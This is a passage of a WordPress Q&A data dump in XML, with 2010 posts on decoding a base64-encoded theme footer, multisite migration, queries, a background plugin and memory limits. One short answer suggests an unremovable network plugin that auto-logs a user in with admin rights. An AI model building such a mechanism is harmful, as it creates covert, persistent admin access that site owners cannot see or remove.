  <row Id="964" PostTypeId="2" ParentId="960" CreationDate="2010-08-27T15:20:03.000" Score="6" ViewCount="" Body="&lt;p&gt;Well, this is the output from that function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?&amp;gt;      &#xA;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- /Main --&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;!-- Footer --&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;footer&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php the_time('Y'); ?&amp;gt; &amp;lt;?php bloginfo('name'); ?&amp;gt; .  WordPress . &amp;lt;?php if(is_home()) : ?&amp;gt;&amp;lt;a href=&quot;http://wordpressthemesforfree.com/&quot; title=&quot;Wordpress themes&quot;&amp;gt;Wordpress themes&amp;lt;/a&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- Footer --&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- /Page --&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php wp_footer(); ?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;/html&amp;gt; &amp;lt;?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if you want to get rid of that base64 encoded line, and use this, do it. I think that was just their way of keeping total non-programmers from messing with the attribution links. If the theme is GPL licensed, then you are under no obligation to keep any part of that code there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's a pretty strong case to be made that themes are GPL by their very nature (which is not to say the other side doesn't have strong arguments too. However, as Mike pointed out in the comments, this question will not be answered until someone litigates, so let's just leave that whole argument out of this question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the above output, I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;$out = base64_decode('Pz4gCQkNCg0KCQk8ZGl2IGNsYXNzPSJjbGVhciI+PC9kaXY+DQoNCgkNCg0KCTwvZGl2Pg0KDQoJPCEtLSAvTWFpbiAtLT4NCg0KCQ0KDQoJPCEtLSBGb290ZXIgLS0+DQoNCgk8ZGl2IGlkPSJmb290ZXIiPg0KDQoJPD9waHAgdGhlX3RpbWUoJ1knKTsgPz4gPD9waHAgYmxvZ2luZm8oJ25hbWUnKTsgPz4gLiAgV29yZFByZXNzIC4gPD9waHAgaWYoaXNfaG9tZSgpKSA6ID8+PGEgaHJlZj0iaHR0cDovL3dvcmRwcmVzc3RoZW1lc2ZvcmZyZWUuY29tLyIgdGl0bGU9IldvcmRwcmVzcyB0aGVtZXMiPldvcmRwcmVzcyB0aGVtZXM8L2E+PD9waHAgZW5kaWY7ID8+PC9kaXY+DQoNCgk8IS0tIEZvb3RlciAtLT4NCg0KDQoNCjwvZGl2PjwvZGl2PjwvZGl2Pg0KDQo8IS0tIC9QYWdlIC0tPg0KDQoNCg0KDQoNCjw/cGhwIHdwX2Zvb3RlcigpOyA/Pg0KPC9ib2R5Pg0KDQoNCg0KPC9odG1sPiA8Pw==');&#xA;&#xA;echo str_replace( '&amp;lt;', '&amp;amp;lt;', $out );&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-27T17:33:09.400" LastActivityDate="2010-08-27T17:33:09.400" CommentCount="8" />
  <row Id="965" PostTypeId="1" CreationDate="2010-08-27T16:50:43.590" Score="0" ViewCount="194" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have a dev, staging and production installation of WP MS.  And I am trying to figure out what is the best way to move a site created in the dev environment to the staging environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since MS uses one large database, I would be moving a group of tables vs an entire database.  It worries me that I will corrupt the database.  &lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-27T21:12:25.620" LastActivityDate="2010-09-22T22:52:46.290" ClosedDate="2010-09-23T00:28:46.117" Title="What is the best way to move a single site from one MS installation to another?" Tags="&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="966" PostTypeId="1" CreationDate="2010-08-27T17:00:11.673" Score="0" ViewCount="90" Body="&lt;p&gt;i see the pattern in some theme where we can collect session of unlogged user. for example, in a comment form: After user commenting, user can see that the their comment is waiting for a moderation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to know in what hook (the file, the class, or the functions) we can collect the information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fyi i'm need this information to extaned theme capability to handle unlogged user. For example show them 'message' that they need register before submitting something or uploading something.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2010-08-27T21:51:24.877" Title="how or where wordress collect unlogged user session" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;multisite&gt;&lt;users&gt;" AnswerCount="1" />
  <row Id="968" PostTypeId="1" CreationDate="2010-08-27T17:04:55.623" Score="3" ViewCount="689" Body="&lt;p&gt;Currently when you display an archive category page, it only displays it for the main parent, and doesn't display any of the posts that may be in the subcategories under it's parent. How can I alter it so that for every category archive it will display all posts under it, including the subcategory posts?&lt;/p&gt;&#xA;" LastActivityDate="2010-08-28T03:20:53.390" Title="How can I get posts in a subcategory to display on it's parent categories archive page?" Tags="&lt;3.0&gt;&lt;categories&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="969" PostTypeId="2" ParentId="919" CreationDate="2010-08-27T17:05:15.780" Score="0" ViewCount="" Body="&lt;p&gt;you can make a function that auto logged a certain user with admin capability. you can set them in plugin that work in network mode. (a plugin that initiate as network can not be unplugged by user or other admin who can not access the main blog) &lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2010-08-27T17:05:15.780" />
  <row Id="970" PostTypeId="2" ParentId="958" CreationDate="2010-08-27T17:36:52.777" Score="1" ViewCount="" Body="&lt;p&gt;I took &lt;em&gt;@tnorthcutt's&lt;/em&gt; answer from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Sticky_Post_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress' Codex on &lt;code&gt;query_posts()&lt;/code&gt; about Sticky Parameters&lt;/strong&gt;&lt;/a&gt; and created a tandalone example you can drop as &lt;code&gt;test.php&lt;/code&gt; into your website's root and see it run by navigating to a URL like this, with your domain substituted:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/test.php&quot; rel=&quot;nofollow&quot;&gt;http://example.com/test.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some notes on the code; I had to use &lt;strong&gt;an array equivalent of the query string&lt;/strong&gt; you passed to &lt;code&gt;WP_Query()&lt;/code&gt; because the &lt;code&gt;post__no_in&lt;/code&gt; argument can't be passed in as a comma delimited string (not sure why, probably an oversight?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I wanted to make sure you know that starting with an &lt;code&gt;offset=1&lt;/code&gt; (instead of &lt;code&gt;offset=0&lt;/code&gt;) means you'll be excluding the first post that otherwise would be returned by the query. Of course you'll still get the number of posts specified by &lt;code&gt;$number&lt;/code&gt; assuming you have that many applicable posts +1.  So here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header('Content-Type:text/plain');&#xA;include &quot;wp-load.php&quot;;&#xA;&#xA;$number = 5;&#xA;&#xA;$the_query = new WP_Query(array(&#xA;  'showposts' =&amp;gt; $number,&#xA;  'offset' =&amp;gt; 1,  // This will cause the query to skip over first post&#xA;  'order' =&amp;gt; 'ASC',&#xA;  'post__not_in' =&amp;gt; get_option(&quot;sticky_posts&quot;),&#xA;  ));&#xA;while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();&#xA;  the_title(); &#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-27T17:36:52.777" CommentCount="3" />
  <row Id="971" PostTypeId="2" ParentId="965" CreationDate="2010-08-27T20:15:57.223" Score="4" ViewCount="" Body="&lt;p&gt;My recommendation would be to use WordPress' built-in import/export mechanism.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-27T20:15:57.223" />
  <row Id="972" PostTypeId="1" AcceptedAnswerId="984" CreationDate="2010-08-27T20:39:09.977" Score="1" ViewCount="287" Body="&lt;p&gt;Is it possible to create multiple &quot;custom background&quot; administration pages? A site I'm doing now needs 2 different background in 2 different areas, I would really love giving my client the same experience for both backgrounds in terms of colour/image/select-repeat etc.&#xA;Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-08-28T09:15:57.583" Title="Multiple Custom_Background, is it possible?" Tags="&lt;theme-development&gt;&lt;options&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="973" PostTypeId="2" ParentId="972" CreationDate="2010-08-27T21:11:10.927" Score="0" ViewCount="" Body="&lt;p&gt;Technically &lt;strong&gt;it's possible&lt;/strong&gt; (so to extend the wordpress source), but not by default. So I would give the answer to no. The build-in background theme feature is for a single graphics only be default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you describe a little bit more about the &quot;2 different areas&quot; you're writing about, there might be something nice to suggest next to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Highlight for MikeSchinkel. Plugins are extending the wordpress source.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-28T09:15:57.583" LastActivityDate="2010-08-28T09:15:57.583" CommentCount="5" />
  <row Id="974" PostTypeId="2" ParentId="968" CreationDate="2010-08-27T21:17:46.337" Score="0" ViewCount="" Body="&lt;p&gt;The relation between category and subcategory does not matter when you display a category because only one category (and not two or three like one main category and two subcategories) will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to override the query. I know that this should be possible via filtering a wp_query hook (hook in, get all child cats, add them to the query arguments) but I can't tell you this out of my head with some sample code. But maybe this little info is already helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question indeed is nice for drill-down style content sites.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-27T21:17:46.337" />
  <row Id="975" PostTypeId="2" ParentId="675" CreationDate="2010-08-27T21:30:04.287" Score="0" ViewCount="" Body="&lt;p&gt;I see the following solution: The lineup of posts in feeds should be sorted by the post's last-updated date. I'm not sure if that is already the case for feeds. If not a plugin must hook into the feeds post querying and change the sort order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-minor-edit/&quot; rel=&quot;nofollow&quot;&gt;WP Minor Edit (Wordpress Plugin)&lt;/a&gt; offers part of the functionality you're already looking for. It makes use of post's last-updated date as well by not changing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If now another plugin does hook into the feed, make the sort of feed as I specified and then, on each title of the feed, checks if the posts data is some other then the post's last-updated date, it just adds [UPDATED] to the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Done.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-28T12:30:03.130" LastActivityDate="2010-08-28T12:30:03.130" CommentCount="3" />
  <row Id="976" PostTypeId="2" ParentId="951" CreationDate="2010-08-27T21:49:28.793" Score="0" ViewCount="" Body="&lt;p&gt;Hmm, maybe this is totally far away, but you are not saving the checkbox values in your saving hook, aren't you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw: update will create if not exists. so no need for the if in that function. in the end no need for the helper function. less complexity will probably solving your issue easier.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-27T21:49:28.793" CommentCount="1" />
  <row Id="977" PostTypeId="2" ParentId="966" CreationDate="2010-08-27T21:51:24.877" Score="1" ViewCount="" Body="&lt;p&gt;unlogged users do not come with nothing. so it's easy: no-where. for the comments scenario you describe, wordpress creates cookies. cookies are fairly well integrated with PHP, you can find out more about that part of PHP here: &lt;a href=&quot;http://php.net/manual/en/features.cookies.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/features.cookies.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-27T21:51:24.877" />
  <row Id="978" PostTypeId="2" ParentId="940" CreationDate="2010-08-27T21:59:40.377" Score="0" ViewCount="" Body="&lt;p&gt;The first thing you need to do when you get 500 errors is taking a look into the error log of your webserver. Mostly it's name is Apache. In the error log you find more information why you got a 500 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some hosters you do not have access to the error log personally. You need to contact technical support and ask for the error log then. So, write down date and time when you experienced the error (and the URL).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-27T21:59:40.377" CommentCount="1" />
  <row Id="979" PostTypeId="2" ParentId="863" CreationDate="2010-08-27T22:15:02.090" Score="1" ViewCount="" Body="&lt;p&gt;IIRC a User sings up on a multisite setup, he basically signs up on all sites. So that User is available to all sites whatever you do. But I can not see anything bad with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you need to specify why you want to block the User from using your multisite? What's wrong with that?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-09T09:16:41.927" LastActivityDate="2010-09-09T09:16:41.927" />
  <row Id="981" PostTypeId="2" ParentId="960" CreationDate="2010-08-27T22:39:13.683" Score="1" ViewCount="" Body="&lt;p&gt;The technical answer is: Remove the eval code from the theme and replace it with your own one. Or debug the eval code, but I assume that's out of your scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The realistic answer I would give is that you should consider to decide to not get fooled any longer (and to not bother others with that crap you downloaded). Get a real theme with clean code and not such a pile of shit. Are you interested for how that shit is licensed? I am not!  Just trash it and start a real life and site.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-27T22:39:13.683" CommentCount="2" />
  <row Id="982" PostTypeId="2" ParentId="288" CreationDate="2010-08-27T23:15:19.667" Score="5" ViewCount="" Body="&lt;p&gt;First of all differ between the stuff. WP is not CSS and CSS is not WP. But WP themes make use of CSS. So if you learn about CSS you're basically not doing wrong (good thing with CSS is, it is common between &lt;em&gt;all&lt;/em&gt; websites). The other part is HTML. And then you have PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So these are three computer languages that are used with each other:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a programming language: PHP&lt;/li&gt;&#xA;&lt;li&gt;a structural language: HTML&lt;/li&gt;&#xA;&lt;li&gt;a domain specific language: CSS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you have a multi-layer network architecture: PHP is executed on the server and HTML and CSS is provided by the server but read / processed by the Browser on the client computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if themes might look simple, with WP this all gets interchangeable mixed and you must yourself put the stuff apart again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP is in &quot;Theme&quot; (PHP) Files, HTML is generated (and as well is) inside those Theme files, CSS is in the CSS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you need to decide yourself what you want to learn. Most resources differ between PHP and HTML/CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your question I can only suggest to you to learn CSS. It is very powerful after you have fully understood the Cascade. You need to know HTML forehand (not PHP, just HTML). In the end CSS is absolutely important for the visual representation of a website, it's a power tool to decorate any website. So you can use that with everything, even wordpress themes ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go for it. If you haven't understood until now after 4 years, spend yourself some education. I suggest some book like &lt;a href=&quot;http://oreilly.com/catalog/9780596101978&quot; rel=&quot;nofollow&quot;&gt;http://oreilly.com/catalog/9780596101978&lt;/a&gt; which is perfect for self-education (next to practicing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS itself is very well deined by the W3C as well as HTML is. The definition there is not very user-friendly but it's correct so with some will you can learn a lot there as well. w3schools is nice made as well (and that site somehow makes it over the years, looks at least some brain is behind it). HTML/CSS, that is the WWW, grab your source :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For PHP there is php.net. For wordpress, well, it's always changing and consumes resources of your personal career, so do not focus too much on to it. Its well kept developed anyway so, just look for whats good for you, do not focus on wordpress too much.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-27T23:15:19.667" CommunityOwnedDate="2010-08-27T23:15:19.667" />
  <row Id="983" PostTypeId="2" ParentId="968" CreationDate="2010-08-28T03:20:53.390" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@HeroicNate:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran another test and unless I'm loosing my mind &lt;strong&gt;child categories are definitely displayed&lt;/strong&gt; on the category archive page in WordPress v3.0.1 (is that the version you are running, or are you on an earlier version?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two screenshots, the first showing &lt;strong&gt;the category layout for my test install&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100827-231536.png&quot; alt=&quot;WordPress Categories Admin Page showing Parent, Child and Grandchild Categories&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next screenshots is &lt;strong&gt;the category archive page for my test install&lt;/strong&gt; showing three posts, each with one category selected; the Parent, the Child and the Grandchild category, respectively.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100827-230910.png&quot; alt=&quot;WordPress Categories Listing Page showing posts from Parent, Child and Grandchild Categories&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;I'm 95% certain you have a plugin or some other code that is disabling your subcategories&lt;/strong&gt; from displaying on your archive page. Can you add the list of plugins you are using to your question content?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-28T03:20:53.390" CommentCount="2" />
  <row Id="984" PostTypeId="2" ParentId="972" CreationDate="2010-08-28T08:10:05.953" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Amit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is &lt;em&gt;&quot;Yes, it is possible.&quot;&lt;/em&gt; The follow up question is &lt;em&gt;&quot;Do you really want to?&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be fun to see if I could build a plugin to do what you are asking for so I decided to see if it was possible. Of course I was able to make it work but I fear that the plugin code I wrote needs to be so tightly coupled with the existing code in WordPress that it might easily break on a core update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code handles all the admin console side of things by creating a new menu item in the &lt;em&gt;Appearance&lt;/em&gt; section called &lt;em&gt;&quot;Special Background.&quot;&lt;/em&gt; What it does not do is provide any way to actually use the background; that's phase two of the plugin and will require hooking many of the functions in &lt;code&gt;/wp-includes/themes.php&lt;/code&gt; and frankly I don't know if I'll get a chance to write that code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I stopped without doing it is I didn't know the requirements for where the special background should show and where the regular one would show. I assume maybe for selected pages and/or URL paths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless, here if the code for the plugin (which you can also download from &lt;a href=&quot;http://gist.github.com/554874&quot; rel=&quot;nofollow&quot;&gt;gist&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Special Background&#xA;Plugin URI: http://wordpress.stackexchange.com/questions/972/&#xA;Description: Example to show how to add a special background using exiting background admin page in core.&#xA;Version: 0.1&#xA;Author: Mike Schinkel&#xA;Author URI: http://mikeschinkel.com/custom-wordpress-plugins/&#xA;*/&#xA;add_filter('admin_menu','add_special_background_menu_item');&#xA;function add_special_background_menu_item() {&#xA;    add_theme_page(__('Special Background'), __('Special Background'),'edit_theme_options','special-background','special_background_admin_page');&#xA;}&#xA;add_filter('admin_init','add_js_for_special_background');&#xA;function add_js_for_special_background() {&#xA;    global $custom_background;&#xA;    if (is_special_background_page()) {&#xA;        wp_enqueue_script('custom-background');&#xA;        wp_enqueue_style('farbtastic');&#xA;    }&#xA;    $hook = 'load-appearance_page_special-background';&#xA;    add_action($hook, array(&amp;amp;$custom_background, 'admin_load'));&#xA;    add_action($hook, array(&amp;amp;$custom_background, 'take_action'), 49);&#xA;    add_action($hook, array(&amp;amp;$custom_background, 'handle_upload'), 49);    &#xA;}&#xA;add_filter('theme_mod_background_image',      'theme_mod_special_background_image');&#xA;add_filter('theme_mod_background_image_thumb','theme_mod_special_background_image_thumb');&#xA;add_filter('theme_mod_background_repeat',     'theme_mod_special_background_repeat');&#xA;add_filter('theme_mod_background_position_x', 'theme_mod_special_background_position_x');&#xA;add_filter('theme_mod_background_attachment', 'theme_mod_special_background_attachment');&#xA;add_filter('theme_mod_background_color',      'theme_mod_special_background_color');&#xA;function theme_mod_special_background_image($defaults) {&#xA;    return theme_mod_special_background_image_attrs('image',$defaults);&#xA;}&#xA;function theme_mod_special_background_image_thumb($defaults) {&#xA;    return theme_mod_special_background_image_attrs('image_thumb',$defaults);&#xA;}&#xA;function theme_mod_special_background_repeat($defaults) {&#xA;    return theme_mod_special_background_image_attrs('repeat',$defaults);&#xA;}&#xA;function theme_mod_special_background_position_x($defaults) {&#xA;    return theme_mod_special_background_image_attrs('position_x',$defaults);&#xA;}&#xA;function theme_mod_special_background_attachment($defaults) {&#xA;    return theme_mod_special_background_image_attrs('attachment',$defaults);&#xA;}&#xA;function theme_mod_special_background_color($defaults) {&#xA;    return theme_mod_special_background_image_attrs('color',$defaults);&#xA;}&#xA;function theme_mod_special_background_image_attrs($attr,$defaults) {&#xA;    if (is_special_background_page()) {&#xA;        $mods = get_option( 'mods_' . get_current_theme() );&#xA;        $defaults = (!empty($mods[&quot;special_background_{$attr}&quot;]) ? $mods[&quot;special_background_{$attr}&quot;] : '');&#xA;    }&#xA;    return $defaults;&#xA;}&#xA;add_filter('pre_update_option_mods_' . get_current_theme(),'pre_update_option_special_background_image',10,2);&#xA;function pre_update_option_special_background_image($newvalue, $oldvalue) {&#xA;    static $times_called = 0;&#xA;    if (!empty($_POST) &amp;amp;&amp;amp; is_special_background_page()) {&#xA;        if ((isset($_POST['action']) &amp;amp;&amp;amp; $_POST['action']=='save') || isset($_POST['reset-background']) || isset($_POST['remove-background'])) {&#xA;            switch ($times_called) {&#xA;                case 0:&#xA;                    $newvalue = special_background_image_value_swap('image',$newvalue,$oldvalue);&#xA;                    break;&#xA;                case 1:&#xA;                    $newvalue = special_background_image_value_swap('image_thumb',$newvalue,$oldvalue);&#xA;                    break;&#xA;            }&#xA;        } else {&#xA;            if ($times_called==0 &amp;amp;&amp;amp; isset($_POST['background-repeat'])) {&#xA;                $newvalue = special_background_image_value_swap('repeat',$newvalue,$oldvalue);&#xA;            }&#xA;            if ($times_called==1 &amp;amp;&amp;amp; isset($_POST['background-position-x'])) {&#xA;                $newvalue = special_background_image_value_swap('position_x',$newvalue,$oldvalue);&#xA;            }&#xA;            if ($times_called==2 &amp;amp;&amp;amp; isset($_POST['background-attachment'])) {&#xA;                $newvalue = special_background_image_value_swap('attachment',$newvalue,$oldvalue);&#xA;            }&#xA;            if ($times_called==3 &amp;amp;&amp;amp; isset($_POST['background-color'])) {&#xA;            $newvalue = special_background_image_value_swap('color',$newvalue,$oldvalue);&#xA;      }&#xA;    }&#xA;    $times_called++;&#xA;  }&#xA;  return $newvalue;&#xA;}&#xA;function special_background_image_value_swap($swap_what,$newvalue,$oldvalue) {&#xA;  $newvalue[&quot;special_background_{$swap_what}&quot;] = $newvalue[&quot;background_{$swap_what}&quot;];&#xA;  $newvalue[&quot;background_{$swap_what}&quot;] = $oldvalue[&quot;background_{$swap_what}&quot;];&#xA;  return $newvalue;&#xA;}&#xA;function special_background_admin_page() {&#xA;  global $custom_background;&#xA;  if (is_special_background_page()) {&#xA;    global $parent_file,$submenu_file,$title;&#xA;    $parent_file = 'themes.php';&#xA;    $submenu_file = 'themes.php?page=special-background';&#xA;    $title = 'Special Background';&#xA;    require_once(ABSPATH . 'wp-admin/admin-header.php');&#xA;    ob_start();&#xA;    $custom_background-&amp;gt;admin_page();&#xA;    $html = ob_get_clean();&#xA;    $html = preg_replace('#&amp;lt;h2&amp;gt;([^&amp;lt;]+)&amp;lt;/h2&amp;gt;#','&amp;lt;h2&amp;gt;Special Background&amp;lt;/h2&amp;gt;',$html);&#xA;    echo $html;&#xA;    include(ABSPATH . 'wp-admin/admin-footer.php');&#xA;    exit;&#xA;  }&#xA;}&#xA;function is_special_background_page() {&#xA;  global $pagenow;&#xA;  return ($pagenow=='themes.php' &amp;amp;&amp;amp;&#xA;         isset($_GET['page']) &amp;amp;&amp;amp; $_GET['page']== 'special-background');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Frankly it is too much code to explain proactively but I'll be happy to answer specific questions.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-28T08:10:05.953" CommentCount="14" />
  <row Id="985" PostTypeId="1" CreationDate="2010-08-28T13:17:28.983" Score="4" ViewCount="492" Body="&lt;p&gt;The test site requires a lot of memory when viewing some category/archive pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I met with the following error messages yesterday:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of&#xA;  33554432 bytes exhausted (tried to&#xA;  allocate 48 bytes) in&#xA;  /var/www/t/wp-includes/load.php on&#xA;  line 552&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Allowed memory size of&#xA;  209715200 bytes exhausted (tried to&#xA;  allocate 40 bytes) in&#xA;  /var/www/t/wp-includes/meta.php on&#xA;  line 307&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem was solved by adding the &quot;define('WP_MEMORY_LIMIT', '210M');&quot; line to the wp-config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is not good enough. The production site will have much more data than the test site, which means I have to add the &quot;define('WP_MEMORY_LIMIT', '2100M');&quot; line to the wp-config.php file. And 2100M may not be large enough as the time goes by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to decrease the memory consumption of the WordPress site dramatically? Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="130" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-28T18:19:34.793" LastActivityDate="2010-09-02T18:45:44.907" Title="Decreasing the Memory Consumption of a WordPress Site?" Tags="&lt;categories&gt;&lt;3.0.1&gt;&lt;archive&gt;&lt;memory&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" />
  <row Id="986" PostTypeId="1" AcceptedAnswerId="987" CreationDate="2010-08-28T13:50:17.060" Score="1" ViewCount="394" Body="&lt;p&gt;Is there a way to automatically register widgets when a new site is registered with a multi site setup? E.g. inside wpmu_new_blog? &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2011-03-30T17:22:53.247" Title="How to automatically register widgets on new blog?" Tags="&lt;multisite&gt;&lt;widgets&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="987" PostTypeId="2" ParentId="986" CreationDate="2010-08-28T14:12:53.910" Score="1" ViewCount="" Body="&lt;p&gt;In your themes &lt;code&gt;functions.php&lt;/code&gt; file you can check wether or not it get's installed for the first time on that blog. This can be done by using an option. An option can be set to flag that it's installing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option that signals that an install is immanent can be used in a hook of the &lt;code&gt;init&lt;/code&gt; jointcut so to flag for automatic widget registration. Widgets can be registerd with &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/widgets.php#L1090&quot; rel=&quot;nofollow&quot;&gt;wp_set_sidebars_widgets()&lt;/a&gt;. After that's done, kill the flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that switching themes kills the widgets configuration. So this is for first-time use only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A full working example on how to register widgets on theme activation can be found in the &lt;a href=&quot;http://www.semiologic.com/software/sem-reloaded/&quot; 